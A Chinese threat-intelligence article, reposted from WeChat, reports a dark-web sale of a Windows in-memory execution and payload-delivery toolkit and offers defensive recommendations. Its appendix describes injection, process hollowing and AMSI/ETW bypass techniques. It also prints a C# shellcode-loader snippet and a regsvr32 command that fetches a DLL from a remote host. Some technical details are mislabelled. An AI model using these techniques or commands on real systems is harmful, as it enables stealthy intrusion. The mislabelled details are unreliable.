2025年6月19日,情报监测平台发现暗网威胁行为者“维兹”在论坛XSS上出售一套面向“红队”或高级攻击者的Windows内存执行和有效载荷投递技术。该工具集涵盖反射式DLL注入、Shellcode注入、进程掏空(Process Hollowing)、父进程ID欺骗(PPID Spoofing)等主流手法,以及针对AMSI和ETW的“内存补丁”与“无补丁”绕过策略。完整内存执行和检测规避功能将大幅提高恶意行动的隐蔽性与持久性,若被犯罪组织或APT滥用,将对企业及政府网络安全造成严重威胁。
一、事件概述
1、时间地点:2025年6月19日,暗网论坛XSS
2、威胁行为者:“维兹”(V1Z)
3、交易内容:高级Windows攻击框架工具包
4、技术要素:
(1)内存执行技术
反射式DLL注入(Reflective DLL Injection)
Shellcode注入(VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
进程掏空(Process Hollowing)
父PID欺骗(PPID Spoofing via PROC_THREAD_ATTRIBUTE)
(2)检测规避策略
传统AMSI/ETW内存修补(AmsiScanBuffer打补丁、EtwEventWrite前缀RET)
无补丁绕过:硬件断点结合向量化异常处理(VEH)技术
二、风险警示
全面内存执行:该工具不在磁盘写入任何可执行文件,规避传统杀毒与文件完整性校验。
多种注入手法并存:同时支持多种进程注入与替换技术,加剧检测难度。
高级绕过机制:无补丁绕过避免修改函数代码,不易被内存扫描器识别。
低门槛传播:暗网公开交易,任何入门级攻击者均可获取并快速部署,扩大威胁面。
潜在滥用场景:除红队外,勒索软件团伙、APT组织、网络诈骗群体等均可利用,实施长期潜伏与数据窃取。
三、防范建议
强化行为检测:部署EDR/UEBA系统,监控进程注入、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread等可疑API调用。
保护核心函数完整性:定期校验AMSIScanBuffer、EtwEventWrite地址和前缀字节,检测异常内存写入。
限制LOLBAS二进制使用:针对mshta.exe、regsvr32.exe、rundll32.exe等“白名单”工具建立细化策略,防止被滥用。
实施进程白名单与父子关系监控:监测不正常的PPID关系和使用InitializeProcThreadAttributeList的进程创建行为。
关闭非必要协议与服务:禁用search‑ms、WebDAV等易被滥用的传输与挂载渠道。
加强用户教育:警惕钓鱼邮件与不明链接,避免通过社工诱导执行PowerShell或LNK载荷。
定期威胁情报共享:与安全厂商、行业CERT保持联动,及时更新YARA/Signature规则。
结论
“维兹”所售工具包标志着红队技术与恶意黑产工具边界的进一步融合,其高度隐蔽的内存执行与检测规避能力,将为攻击者提供更强大的入侵与持久化手段。建议组织尽快评估环境中可能存在的漏洞,实施上述防护措施,升级并强化内存安全监测,以抵御潜在的“无文件”高级威胁。
附录:两张图片内容
高级Windows内存执行与载荷投递技术(适用于红队演练,2025)
1、高级内存执行技术
红队操作者日益偏好“无文件”载荷,这些载荷完全在内存中运行,几乎不留下取证痕迹。反射注入、本地shellcode加载器和进程注入技巧允许恶意代码无需写入磁盘即运行。例如,反射DLL注入允许攻击者直接从内存加载DLL,而不是从磁盘加载。该方法中,一个专门构造的“反射型”DLL包含一个小型加载器,它将自身各段映射至目标进程,解析导入表,并调用DllMain——整个过程在内存中完成。由于DLL从未存在于磁盘上,因此可绕过杀毒软件或文件完整性检查。Donut(Cobalt Strike漏洞利用库的一部分)及其开源实现(如Domino)甚至可以将.NET或EXE载荷转换为位置无关的shellcode,在内存中创建CLR AppDomain。例如,Donut的shellcode使用非托管CLR托管API从内存中加载.NET程序集,随后通过VirtualFree释放原始镜像字节,从而避开内存扫描器。
一旦代码驻留于内存中,可通过简单的C/C++或C#注入例程执行。一种常见的shellcode注入方式是:调用VirtualAlloc(指定PAGE_EXECUTE_READWRITE)分配可执行内存,将shellcode字节写入,然后通过CreateThread执行。示例C++代码如下:
IntPtr exec = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, 0x3000 /* MEM_COMMIT | MEM_RESERVE */, 0x40 /* PAGE_EXECUTE_READWRITE */);
Marshal.Copy(shellcode, 0, exec, shellcode.Length);
CreateThread(IntPtr.Zero, 0, exec, IntPtr.Zero, 0, out uint tid);
上述方法分配RWX权限内存,写入shellcode并启动执行。对于远程注入,则使用VirtualAllocEx+WriteProcessMemory写入目标进程,然后CreateRemoteThread执行。另有一种替代技术:APC Rider(如QueueUserAPC或NtQueueApcThread),可在已有线程上下文中执行shellcode,非常适合绕过进程保护机制(如PPL/Protected Process Light)。也可使用C#中的P/Invoke或PowerShell(通过Add-Type声明VirtualAlloc/CreateThread)直接在内存中写入和执行shellcode。
另一种内存操作技巧是进程掏空(T1055.012)。攻击者创建一个合法进程的挂起实例(如使用CreateProcess(..., CREATE_SUSPENDED)),然后使用NtUnmapViewOfSection卸载其原始代码段,并使用VirtualAllocEx分配空间,随后用WriteProcessMemory写入恶意代码,利用SetThreadContext更改入口点,最后恢复线程。当进程恢复时,它将在伪装的可执行文件名下运行攻击者的代码,从而躲避基于进程名的防御。例如,该恶意进程可能伪装为explorer.exe。红队还常将掏空技术与**父进程ID伪装(PPID Spoofing, T1543.001)**结合使用,通过InitializeProcThreadAttributeList与UpdateProcThreadAttribute API设置伪造的父进程,如winlogon.exe或explorer.exe,使恶意进程看似由可信来源启动,从而掩盖真实出处。
现代防御手段普遍依赖于Windows遥测,因此红队也必须中和内置安全钩子。微软的反恶意软件扫描接口(AMSI)与Windows事件跟踪(ETW)会监测内存脚本与DLL行为。传统的AMSI绕过方法是修改内存中的AmsiScanBuffer函数(例如覆盖首字节为jmp),让其始终返回“clean”。但这种方式风险较高:需调用VirtualProtectEx,可能被检测。新型绕过方式使用调试技术:通过x86硬件断点(调试寄存器)与VEH(向量化异常处理器)配合,当触发EXCEPTION_SINGLE_STEP异常时,VEH劫持线程上下文绕过真正的AMSI调用,实现全内存绕过,且无需篡改目标函数代码。
ETW绕过方式类似:攻击者定位ntdll!EtwEventWrite函数,并将其前缀覆盖为单条RET指令(0xC3),使所有ETW事件写入操作直接返回。例如,一段C#代码通过反射获取EtwEventWrite地址并写入0xC3,实现CLR/ETW遥测静默。这种方式常与.NET内存加载器结合使用,以绕过ETW/AMSI双重检测。
2、武器化LNK文件
恶意快捷方式(LNK)一直是可靠的载荷投递方式,因为它们可调用任意可执行文件或脚本。LNK文件可设定“目标”和“参数”,从而执行mshta.exe、powershell.exe、wscript.exe或cmd.exe并附带远程下载命令。例如,某次攻击活动中,LNK使用mshta.exe调用嵌入的HTML/VBScript脚本下载并执行payload。2025年的KimLongWaf攻击中,该LNK直接调用cmd.exe与curl.exe以从CDN获取恶意HTA。
攻击者还常借助LNK结合DLL侧载技术:LNK调用regsvr32.exe或msiexec.exe等加载恶意DLL或脚本。例如,可设置LNK运行regsvr32 /i:http://evllnkme[.]cn/script.dll,自动从网络加载DLL执行。由于regsvr32.exe为微软签名且支持HTTP,称为“SquibLoad”,常用于绕过应用程序白名单。也可通过相对路径或共享路径利用被劫持的合法EXE,实现侧载攻击。
3、WebDAV利用
WebDAV共享与search-ms协议URL构成隐秘的投递通道。攻击者通常在HTTP/WebDAV服务器上托管payload,并构造search-ms协议链接,嵌入钓鱼页面。用户点击链接后,Windows询问是否在文件资源管理器中打开,随后挂载远程共享并显示伪装文件夹,如“Documents”,其中包含恶意LNK或EXE文件。一旦用户点击该LNK,其内嵌的PowerShell命令就会运行。例如,在TRIGOS攻击中,点击按钮会通过JavaScript调用search-ms URL至WebDAV,打开带LNK文件的“文件夹”,点击后下载Python脚本并执行。
4、OneNote与Office文件滥用
自宏被默认禁用后,攻击者转向滥用OneNote等Office文件格式。OneNote (.one) 本质上是压缩包,可嵌入任意文件(EXE、脚本等)。攻击者添加伪装图像或按钮,隐藏恶意VBS、EXE或HTA载荷。例如:OneNote页面显示“点击查看文档”,但实际触发的是恶意脚本。Palo Alto的Unit 42曾发现该攻击手段常见于OneNote中,载荷包括JS、VBScript、PowerShell等脚本,甚至包含97-2003 OLE对象。用户点击后即运行。Word/Excel/Outlook附件也可嵌入OLE对象,在打开文档时自动运行。
5、HTML走私
HTML走私是通过HTML或电子邮件附件传输恶意载荷的方法,其核心是由浏览器在用户本地生成并保存payload。攻击者将载荷编码为Base64形式嵌入JavaScript中,使用Blob、msSaveOrOpenBlob等API将其写入磁盘。因为实际的恶意文件并未通过网络传输,所以能避开网关、沙箱和内容安全策略(CSP)。例如:Trustwave曾观察到Qakbot通过HTML附件分发,脚本自动组装并保存加密ZIP文件,ZIP中包含恶意LNK,点击后触发cmdl.exe与curl.exe获取并运行JavaScript脚本,该脚本再下载Qakbot DLL并通过rundll32.exe注入explorer.exe。
6、USB与物理接入攻击向量
尽管现代Windows已禁用AutoRun,物理媒介攻击依然有效。Raspberry Robin攻击展示了通过USB设备触发的隐形载荷链:插入后触发隐藏LNK执行msiexec /quiet命令,连接远程URL下载DLL至%ProgramData%。此外,HID类设备(如USB Rubber Ducky)可模拟键盘输入,插入后自动执行预设命令,如调用PowerShell或写入脚本。高级物理攻击还包括外围设备固件篡改、BIOS/UEFI植入等。
7、使用系统合法二进制(LOLBAS)实现载荷链
攻击者经常利用Windows自带的签名二进制文件(如mshta.exe、powershell.exe、wscript.exe、cscript.exe、rundll32.exe、regsvr32.exe、msiexec.exe、bitsadmin.exe)来规避白名单策略。这些被称为LOLBAS(Living-off-the-Land Binaries and Scripts)。攻击链通常通过这些二进制间接调用远程载荷。例如,LNK调用mshta载入远程HTML,HTML内运行脚本下载PowerShell,后者连接反向Shell。TrendMicro曾记录一起攻击:LNK执行mshta,运行混淆脚本下载PowerShell脚本,后者开启反连。
8、检测规避策略(Detection Evasion Strategies)
上述所有技术均有配套的隐匿手段:
内存执行自身规避签名扫描器检测,因为不会产生恶意磁盘文件;
注入可信进程并结合父进程ID伪装,可掩盖恶意行为;
禁用AMSI和ETW抑制Windows安全日志记录;
载荷下载链通常使用HTTPS或CDN(通过KomandoKT或短链服务如ITGOD或url32)以躲避网络封锁;
社交工程攻击中使用诱饵文档(如PPT、图像、脚本)引导用户逐步触发攻击;
使用合法Windows工具(LOLBAS)可绕过白名单机制;
最后,通过Base64或字符串混淆、随机化文件名/URL以及多阶段执行链提高复杂度和隐蔽性。
防御者应优先采用基于行为的规则,例如监控系统二进制发起的网络连接、search-ms协议调用、USB设备触发的脚本执行等。总之,这些高级技术模糊了“签名合法”与“行为恶意”之间的界限,在2025年变得尤为致命。
参考资源:https://darkwebinformer.com/
原文始发于微信公众号(网空闲话plus):高隐蔽性Windows内存执行和载荷投递技术在暗网公开出售
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论